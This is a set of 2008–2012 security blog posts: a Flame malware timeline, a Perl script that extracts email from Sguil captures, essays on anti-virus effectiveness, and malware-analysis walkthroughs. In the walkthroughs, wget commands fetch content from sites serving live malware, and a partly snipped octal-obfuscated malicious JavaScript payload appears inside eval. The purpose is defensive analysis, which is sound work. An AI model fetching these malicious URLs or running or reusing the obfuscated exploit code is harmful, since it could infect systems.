Flame Round-up

Updated June 13 with a few more links.

I decided to write a short post with a Frame timeline, links to the related information, and a brief summary of interesting information available at each link. I might update this post if I get comments with additional interesting links or if there are significant new developments. When possible, I'm trying to catalog technical discussion rather than news aimed at a general non-technical audience.

Note that many of the dates, on blog posts in particular, will reflect the last time the post was changed rather than initial posting date. This can be a problem when relying on sites that do not show both a publication and modification date for web publications. I will note when I know of discrepancies in date.

2012 May 28:

Kaspersky Lab and ITU Research Reveals New Advanced Cyber Threat: Kaspersky Lab posts information about new malware dubbed Flame. They were investigating incidents related to something known as Wiper on behalf of the ITU and discovered Flame in the process. Kaspersky calls Flame a "super-cyberweapon" and says the primary purpose is cyber espionage. The end of the article includes a link to The Flame: Questions and Answers, a technical FAQ. Judging by the CrySyS report (below), Wiper and Flame could actually be one and the same.

Identification of New Targeted Attack: Dated the same day as the Kaspersky Lab post, the Iranian CERTCC (MAHER) posts information gleaned from an investigation into Flame. They include bullet points listing some of Flame's behaviors and capabilities.

• Distribution via removable medias
• Distribution through local networks 
• Network sniffing, detecting network resources and collecting lists of vulnerable passwords 
• Scanning the disk of infected system looking for specific extensions and contents 
• Creating series of user’s screen captures when some specific processes or windows are active 
• Using the infected system’s attached microphone to record the environment sounds 
• Transferring saved data to control servers 
• Using more than 10 domains as C&C servers 
• Establishment of secure connection with C&C servers through SSH and HTTPS protocols 
• Bypassing tens of known antiviruses, anti malware and other security software 
• Capable of infecting Windows Xp, Vista and 7 operating systems 
• Infecting large scale local networks

Both Kaspersky Lab and MAHER tie Flame to Stuxnet and Duqu. Kaspersky later referred to this post by MAHER taking place on May 27 rather than date listed on the page, which is May 28.

CrySyS Lab publishes their first version of the 64 page sKyWIper (Flame) technical report, updated to version 1.05 as of May 31. The report states that Flame may have been active for as long as five to eight years at the time of discovery. The report details modules, encryption, activation, propagation, component descriptions, C&C details, scripts, and evasion techniques.

2012 June 01:

OpenDNS provides a timeline of command and control domain registrations. Domains were registered and active as far back as 2008.

The New York Times publishes an article, Obama Ordered Wave of Cyberattacks Against Iran, detailing efforts directed first by the Bush administration and increased by the Obama administration to use cyberattacks to slow Iranian nuclear development. The article ties the attacks most directly to Stuxnet and was adapted from David E. Sanger's new book, Confront and Conceal: Obama's Secret Wars and Surprising Use of American Power.

2012 June 03:

Microsoft issues Security Advisory (2718704): Unauthorized Digital Certificates Could Allow Spoofing after revelations that Flame was using a cryptographic collision and terminal server licensing certificates to sign code, allowing spoofing of Windows Update. Microsoft issued an emergency patch that blacklisted the three intermediate certificate authorities.

2012 June 04:

ArsTechnica rounds up links, quotes, and information in "Flame" malware was signed by rogue Microsoft certificate. I will not repeat their work, but instead say that they did a good job providing information along with links to more detailed posts and articles from the various players that have been active in the dissemination of information about Flame.

Kaspersky Lab posts The Roof is on Fire: Tackling Flame's C&C Servers. The post includes a chart comparing Duqu and Flame command and control infrastructure, from choice of OS (CentOS for Duqu, Ubuntu for Flame) to number of known C&C domains (80+ for Flame), and more. They go into great detail about the C&C architecture, including the domains being purchased primarily through GoDaddy, the fake identities used for registration, the technical details of the C&C infrastructure, and a list showing the geographic distribution of infections. OpenDNS's timeline links to this post by Kaspersky Lab, so it was presumably posted around the same day, June 01, then updated later.

2012 June 05:

Bitdefender Labs details how Flame uses USB and old-fashioned sneakernet to move data off systems that are not connected to the Internet and onto systems that have previously connected to Flame's C&C servers. FLAME – The Story of Leaked Data Carried by Human Vector also mentions how Flame is different from much other malware, for instance very large file sizes and no anti-debugging or anti-reversing code.

2012 June 06:

Microsoft Security Research and Defense posts Frame malware collision attack explained. This goes into detail and is well worth reading. Notable is that Windows versions older than Vista would have been vulnerable without the MD5 collision, but newer versions required the collision attack.

ArsTechnica also posts on the subject and links to the same MS post among others in their Flame's "god mode cheat code" wielded to hijack Windows 7, Server 2008. Included is a link to a write-up about a theoretical MD5 collision attack dating back to 2007, which itself was an extension of work from 2004. In 2008, the attack went from theoretical to practical.

Symantec's blog post titled Flamer: Urgent Suicide details remaining Flame C&C servers sending a command to essentially uninstall from infected systems by deleting then overwriting Flame files with random data.

Related to the topic of cyber espionage but not dealing directly with Flame, Google announces that they will warn users of possible state-sponsored attacks.

2012 June 07:

Details start to emerge that Flame used a new collision attack. ArsTechnica posts Flame breakthrough shows Flame was designed by world-class scientists. Marc Stevens and B.M.M de Weger are quoted as saying that the collision attack was new.

“Flame uses a completely new variant of a ‘chosen prefix collision attack’ to impersonate a legitimate security update from Microsoft. The design of this new variant required world-class cryptanalysis,” says Marc Stevens. “It is very important to invest in cryptographic research, to continue to be ahead of these developments in practice.”

This adds to the ever-present but growing evidence regarding the type of resources needed for Flame.

2012 June 11:

Bitdefender Labs get into some great detail on components within Flame, including comparisons to Stuxnet, in Stuxnet's Oldest Component Solves the Flamer Puzzle.

"As mentioned before, atmpsvcn.ocx was believed to belong to Stuxnet: more to the point, its MD5 hash (b4429d77586798064b56b0099f0ccd49) was detected in a Stuxnet dropper.  This irrefutably places it as a Stuxnet component. It is common knowledge that Stuxnet used quite an array of droppers, and one of the oldest such droppers, dated from 2009, also contains the atmpsvcn.ocx component. Inside the dropper, we identified a resource encrypted using XOR 255 (0xFF) that is 520.192 bytes large and has the same hash: b65f8e25fb1f24ad166c24b69fa600a8.

This concludes the first part of the demonstration. There is no doubt about it being a Stuxnet component, but today’s demonstration will shed new light on how it fits in the Flamer puzzle."

Tweet

Extracting emails from archived Sguil transcripts

Here is a Perl script I wrote to extract emails and attachments from archived Sguil transcripts. It's useful for grabbing suspicious attachments for analysis.

In Sguil, whenever you view a transcript it will archive the packet capture on the Sguil server. You can then easily use that packet capture to pull out data with tools like tcpxtract or tcpflow along with Perl's MIME::Parser in this case. The MIME::Parser code is modified from David Bianco's blog.

As always with Perl or other scripts, I welcome constructive feedback. The first regular expression is fairly long and may scroll off the page, so make sure you get it all if you copy it.

#!/usr/bin/perl

# by nr
#   2009-05-04
# A perl script to read tcpflow output files of SMTP traffic.
# Written to run against a pcap archived by Sguil after viewing the transcript.
#   2009-05-07
# Updated to use David Bianco's code with MIME::Parser.
# http://blog.vorant.com/2006/06/extracting-email-attachements-from.html

use strict;
use MIME::Parser;

my $fileName; # var for tcpflow output file that we need to read
my $outputDir = "/var/tmp"; # directory for email+attachments output

if (@ARGV != 1) {
    print "\nOnly one argument allowed. Usage:\n";
    die "./emailDecode.pl /path/archive/192.168.1.13\:62313_192.168.1.8\:25-6.raw\n\n";
}

$ARGV[0] =~ m
    /.+\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})_(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(25)-\d{1,3}\.raw/
    or die "\nIncorrect file name format or dst port is not equal to 25. Try again.\n\n";

system("tcpflow -r $ARGV[0]"); # run tcpflow w/argument for path to sguil pcap

my $srcPort = sprintf("%05d", $2); # pad srcPort with zeros
my $dstPort = sprintf("%05d", $4); # pad dstPort with zeros

# Put the octest and ports into array to manipulate into tcpflow fileName
my @octet = split(/\./, "$1\." . "$srcPort\." . "$3\." . "$dstPort");

foreach my $octet(@octet) {
    my $octetLength = length($octet); # get string length
    if ($octetLength < 5) { # if not a port number
        $octet = sprintf("%03d", $octet); # pad with zeros
    }
    $fileName = $fileName . "$octet\."; # concatenate into fileName
}

$fileName =~  s/(.+\d{5})\.(.+\d{5})\./$1-$2/; # replace middle dot with hyphen
my $unusedFile = "$2-$1"; # this is the other tcpflow output file

# open the file and put it in array
open INFILE, "<$fileName" or die "Unable to open $fileName $!\n";
my @email = <INFILE>;
close INFILE;

my $count = 0;
# skip extra data at beginning
foreach my $email(@email) {
    if ($email =~ m/^Received:/i) {
        last;
    }
    else {
        delete @email[$count];
        $count ++;
    }
}

my $parser = new MIME::Parser;
$parser->output_under("$outputDir");
my $entity = $parser->parse_data(\@email); # parse the tcpflow data
$entity->dump_skeleton; # be verbose when dumping

unlink($fileName, $unusedFile); # delete tcpflow output files

Tweet

Do we need anti-virus software?

My friend Richard has a good post about Verizon's 2009 Data Breach Report. One of his last comments really struck me since it is something I have seen firsthand again and again.

Most companies are probably relying on their anti-virus software to save them. This is too bad, because the explosion in customized malware means it probably won't.

Anti-virus software just does not work against most recent malware. The table from the Verizon report shows a drastic upswing in customized malware and my experience tells me that doesn't tell half the story. Even only small changes will often evade anti-virus software.

I'm not saying anything new here. Anyone that does penetration tests, reverse engineers malware, writes exploits, or is involved with information security in a number of ways already knows that anti-virus software is terrible at detecting new malware. I have even written about it before and pointed out that more subtle methods of exploitation aren't always necessary because of the effectiveness of commodity malware.

My question is, do we really need anti-virus software?

When you take into account the amount of resources spent running anti-virus in the enterprise, is it a good investment in risk reduction? We pay for hours worked to setup the anti-virus infrastructure, update, and troubleshoot. If you are in an enterprise, you're paying for the software, not using a free alternative. You're probably paying for support and also paying for hardware.

What does it get you? I find malware on a weekly basis, sometimes daily, that is not detected by the major vendors. I submit the malware to some of these vendors and places like VirusTotal, but the responses from anti-virus vendors are inconsistent at best. Even after definitions are updated, I'll then run across malware that is obviously just an altered version of the previous but is once again not detected.

I don't pretend to have the answers, but I do wonder if all the resources spent on anti-virus by a business, particularly large or enterprise businesses, might be better spent somewhere else. Is it really worth tens or hundreds of thousands of dollars in software, hours, and hardware to make sure old malware is detected? If not, how much is it worth? Does the occasional quick response to emerging malware make it more worthwhile? If you have enough influence on the vendor, does being able to contact them directly to help protect against a specific attack make it more valuable?

Anti-virus software is too ingrained in corporate culture to think it is realistic that companies will stop using it altogether, but we need to keep asking these types of questions.

Tweet

IE exploits on the move

It looks like the previously mentioned exploits for the latest IE vulnerability, and more, have moved to an additional domain. Everyone is probably seeing SQL injection attempts with obfuscated code similar to before, except now the referenced domain is mcuve.cn. As far as I can see, the site is hosting the same code that was hosted on the 17gamo site. A quick Google shows that a few sites have already been hit (and at least one other person has already blogged it).

Tweet

IE vulnerability just one of many

The latest IE "0day" is making big news. The bulletin now includes IE6, IE7, and IE8 beta. Looking at CVE-2008-4844 will give a decent round-up of related links. Shadowserver has a list of domains known to be using exploits that attack this vulnerability. Microsoft has some workarounds to help mitigate the vulnerability.

One thing to remember is that many malicious sites do not rely on one vulnerability. Don't let one high-profile vulnerability and news of exploits in the wild make you forget about the big picture. If a site is hosting exploits against this IE vulnerability, it is very likely the site will be hosting additional exploits.

One example is one of the highest profile domains hosting exploits, 17gamo[dot]com. The SQL attacks referenced on SANS are injecting a URI containing this malicious domain. As mentioned on SANS diary, the javascript in the injected URI leads to additional files on the malicious site. Although the SANS diary specifically mentions the IE exploit, it doesn't mention the other exploits.

Please remember the following site is malicious!

$ wget -r http://www.17gamo.com/co

After downloading the content, I change to the correct directory and see what is there:

$ ls co/
14.htm     flash.htm  ihhh.html   nct.htm     real.htm   swfobject.js
fhhh.html  ie7.htm    index.html  office.htm  real.html

The index file tries to open iframes containing 14.htm, flash.htm, ie7.htm, nct.htm, office.htm, real.htm and real.html. The flash.htm file then references ihhh.html and fhhh.html. We already know from the SANS diary what ie7.htm does.

It was nice of the file authors to use relevant names for some of the files. The flash.htm code references both ihhh.html and fhhh.html. Both these files look like they will serve up a Flash exploit of varying names depending what version of the Flash Player is detected. Downloading a couple of the SWF files, they are the same size but diff shows that they are not identical. They all seem to produce similar results on Virustotal.

The office.htm file appears to be an exploit targeting CVE-2008-2463, a MS Office Snapshot Viewer ActiveX vulnerability. If vulnerable, this will lead to the download of the same win.exe mentioned in the SANS diary and it looks like it will attempt to write the executable to the 'Startup' folder for All Users.

I haven't looked at real.htm, real.html, nct.htm or 14.htm yet.

This is all just to point out that most malicious sites these days will run a number of attacks against web clients, so just because one failed doesn't mean the others did the same. I saw a system get hit by the ie7.htm exploit without immediately downloading the win.exe from steoo[dot]com, yet it did run one of the malicious SWF files.

Tweet

Commodity malware versus custom exploits

In my post about e-card Trojans, I mentioned that I hoped to flesh out my thoughts on malware as compared to more customized exploits. As we all should know from numerous stories, commodity malware is big business. Malware is increasingly used to steal information to turn a profit, and is likely being used to target information that is valuable in other ways. So my question is, in a world where the U.S. military has to ban USB drives to combat malware, how much trouble are customized private exploits actually worth?

There are certainly advantages to customized private exploits, but when a spammer only needs one response for every 12.5 million emails sent to be profitable, it seems that the economics of the situation may favor the lower cost of slightly modifying malware to bypass anti-virus software and then blasting away with malicious emails, advertisements, and other links.

A customized exploit that is only being used by a small number of people should obviously be more difficult to detect. However, when anti-virus and traditional IDS rely so thoroughly on signatures of known activity, the question is really about how difficult the attacker needs detection to be. In many cases, it may not be worth using a skilled attacker to craft a specific exploit when said attacker could be increasing the efficiency of more voluminous attacks.

Of course, this is not really an 'either' 'or' situation. Both types of attacks can effectively be used, and when combined they are probably both more effective. Sow mass confusion and panic with widespread malware attacks while performing more targeted attacks for particularly desirable information. Those playing defense will likely be busy scurrying after the malware while the targeted attacks fly in under the radar, especially in these economic times where security operations may be suffering from budget cuts.

I also don't mean to downplay the skill it takes to enumerate network services and write a custom exploit for one or more of those services on the spot. Relatively few people can do that, I am certainly not one of them, and in many cases it is virtually undetectable. At the same time, I often feel that those talented exploit writers and penetration testers give too little credit to the effectiveness of common malware. It seems to me that commodity malware has become quite effective at generating revenue and stealing information.

Tweet

'Tis the season for E-card Trojans

IP addresses and hostnames have been changed. Anyway, this is from a few days ago and it looks like the malware is no longer on the server. A user received an email with a link to a supposed holiday card...

Src IP:         10.1.1.18       (Unknown)
Dst IP:         192.168.31.250  (Unknown)
Src Port:               1461
Dst Port:               80
OS Fingerprint: 10.1.1.18:1461 - Windows XP SP1+, 2000 SP3 (2)
OS Fingerprint:   -> 192.168.31.250:80 (distance 7, link: ethernet/modem)

SRC: GET /ecard.exe HTTP/1.0
SRC: Accept: */*
SRC: Accept-Language: en-us
SRC: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.
1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
SRC: Host: fakeurl.info
SRC: Connection: Keep-Alive
SRC:
SRC:
DST: HTTP/1.1 200 OK
DST: Date: Wed, 12 Nov 2008 11:41:08 GMT
DST: Server: Apache/1.3.36 (Unix) mod_jk/1.2.14 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_b
wlimited/1.4 PHP/4.3.9 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.27 OpenSSL/0.9.7a
DST: Last-Modified: Wed, 12 Nov 2008 10:14:10 GMT
DST: ETag: "944cd-8688-491aac72"
DST: Accept-Ranges: bytes
DST: Content-Length: 34440
DST: Content-Type: application/octet-stream
DST: Connection: Keep-Alive
DST:
DST:
DST: MZ..............@.......@........L.!........................@...PE..L...UB.I...............
..........p................@.......................... .........................................
................................................................................................
.............................UPX0.....p..............................UPX1.......................
.........@...UPX2................................@..............................................
3.03.UPX!

The above is part of a Sguil transcript. I downloaded the file, took a brief look, then submitted it to VirusTotal.

$ cd malware
$ wget http://fakeurl.info/ecard.exe
---snip---
$ strings -n 3 -a ecard.exe | less
UPX0
UPX1
UPX2
3.03
UPX!
---snip---
XPTPSW
KERNEL32.DLL
LoadLibraryA
GetProcAddress
VirtualProtect
VirtualAlloc
VirtualFree
ExitProcess

This is pretty run-of-the-mill malware that will get detected by Emerging Threats SID 2006434 when the executable is downloaded, but I guess people still fall for it. As Shirkdog so eloquently stated:

Do not click on unsolicited URLs, including those received in email, instant messages, web forums, or internet relay chat (IRC) channels.

People will never get it through their skulls that they SHOULD NOT click links. It is the reason we are all employed, because the user will always be there.

It's always amazing how few anti-virus engines will catch known malware. A system compromised this way also brings to my mind a comparison between common malware and novel or custom exploits that are not widely available. I plan to flesh out thoughts comparing the two at a later date.

Tweet

Defcon 16 Race to Zero

There have been articles about Defcon's Race to Zero since it was announced. I first read about it on the Daily Dave mailing list when the announcement was posted a couple days ago on 27 April. Apparently, some vendors and media are unhappy and criticizing the competition. While this is not surprising, it strikes me as pointless to complain about a competition that is just demonstrating what can be and already is done in the wild.

From the Race to Zero site:

The event involves contestants being given a sample set of viruses and malcode to modify and upload through the contest portal. The portal passes the modified samples through a number of antivirus engines and determines if the sample is a known threat. The first team or individual to pass their sample past all antivirus engines undetected wins that round. Each round increases in complexity as the contest progresses.

Anyone that has submitted real malware samples to a service like VirusTotal already knows how pitiful and inconsistent anti-virus software is at detecting malware, particularly if it is new or newly modified. There is a reason we see so many variants of the same malware, and it's not because anti-virus is so effective that malware authors have to completely rewrite their code.

1. Reverse engineering and code analysis is fun.
2. Not all antivirus is equal, some products are far easier to circumvent than others. Poorly performing antivirus vendors should be called out.
3. The majority of the signature-based antivirus products can be easily circumvented with a minimal amount of effort.
4. The time taken to modify a piece of known malware to circumvent a good proportion of scanners is disproportionate to the costs of antivirus protection and the losses resulting from the trust placed in it.
5. Signature-based antivirus is dead, people need to look to heuristic, statistical and behaviour based techniques to identify emerging threats
6. Antivirus is just part of the larger picture, you need to look at controlling your endpoint devcies [sic] with patching, firewalling and sound security policies to remain virus free.

Although I have very limited and basic experience reverse engineering malware, it does seem fun and interesting. I also totally agree that vendors need to be called out.

Heuristic, statistical and behavior-based techniques may indeed help, but point number six seems equally important. I don't really know what the best solution is, but hopefully some vendors will eventually realize that their methods and models need to change to become more proactive instead of reactive.

Tweet

JavaScript decoding and more

JavaScript obfuscation is pretty common. There are plenty of places to find out about how to reverse it along with basic malware analysis tips. Here is an example of obfuscated JavaScript I've seen. I will be posting a few malicious code examples in this entry, so caution is advised with any of the code or URL. If you can avoid it, I also would suggest not downloading malicious content on your production network.

eval("\151\146\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\56\151\156\144\145\1
70\117\146\50\47\117\113\47\51\75\75\55\61\51\173\15\12\164\162\171\173\166\141\162\40\145\73\15\
12\166\141\162\40\141\144\157\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\10
5\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\166\141\162\40\122\151\

-- snipped --

\157\162\135\42\40\46\46\40\151\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\4
2\51\15\12\173\15\12\154\157\143\141\164\151\157\156\56\162\145\160\154\141\143\145\50\42\141\142
\157\165\164\72\142\154\141\156\153\42\51\73\175\15\12\175\175\175")

How do I figure out what this exploit attempt is doing? As pointed out on ISC, there are a number of ways to decode JavaScript. Remember the following caveat from the first link above:

For the first two methods mentioned, be mindful that you are actually running hostile code inside a potentially vulnerable web browser. Make sure to apply the usual precautions (VMWare or the like, deployed far away from any production network you might have, and keeping a keen eye on the firewall log, etc).

I chose the lazy method in this case. First, I downloaded the JavaScript file using wget. Then I made a copy, changing the file extension from .js to .html, added the script tag, and changed "eval" to "alert".

<script language=JavaScript>
alert("\151\146\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\56\151\156\144\145\1

-- snipped --

\157\165\164\72\142\154\141\156\153\42\51\73\175\15\12\175\175\175")
</script>

Now opening the file with a browser will show the decoded JavaScript. Please remember that the links and code in the below image are malicious and you visit them or run the code at your own risk.


There are a number of references to other scripts and files in the above code. There is also further obfuscation in the form of hexadecimal code. There are a number of quick ways to convert the hexadecimal to ASCII, either online or with your programming language of choice. As examples, the hexadecimal of the "Rising" variable above translates to "classid", the "Kaspersky" variable represents a specific CLSID, and the "KV2008" variable translates to "Adodb.Stream". We also see a reference to MS06-014, and more.

If you're using NSM with session data, you can see whether any systems that were subjected to the initial JavaScript exploit code then connected to any related sites after the exploit attempt, which could indicate the exploit succeeded. If you have full content packet captures, you can even see the data in the activity that followed.

I also decided to download some of the files to see what I was dealing with. The .cab file in particular looked interesting. I downloaded it using wget and then unpacked it using cabextract. This revealed an executable.

$ file cabfile.exe
cabfile.exe: MS-DOS executable, MZ for MS-DOS

I also took a quick look with the strings command, which had a few interesting lines.

$ strings -n 3 -a cabfile.exe | less
MZKERNEL32.DLL
LoadLibraryA
j'Y
GetProcAddress

-- snipped --

D:\FastDown\MHDropper\Release\MHDropper.pdb

The executable definitely doesn't look like a friendly file. Finally, the results from VirusTotal show that only 18 of the 32 engines detect it as malicious. I would say that 18 out of 32 is ineffective at best, especially considering that one large vendor's product did not detect the file as malicious.

This all goes to show that you can get a lot of information with fairly basic procedures. If anyone has a critique or interesting information to add, please post a comment.

Tweet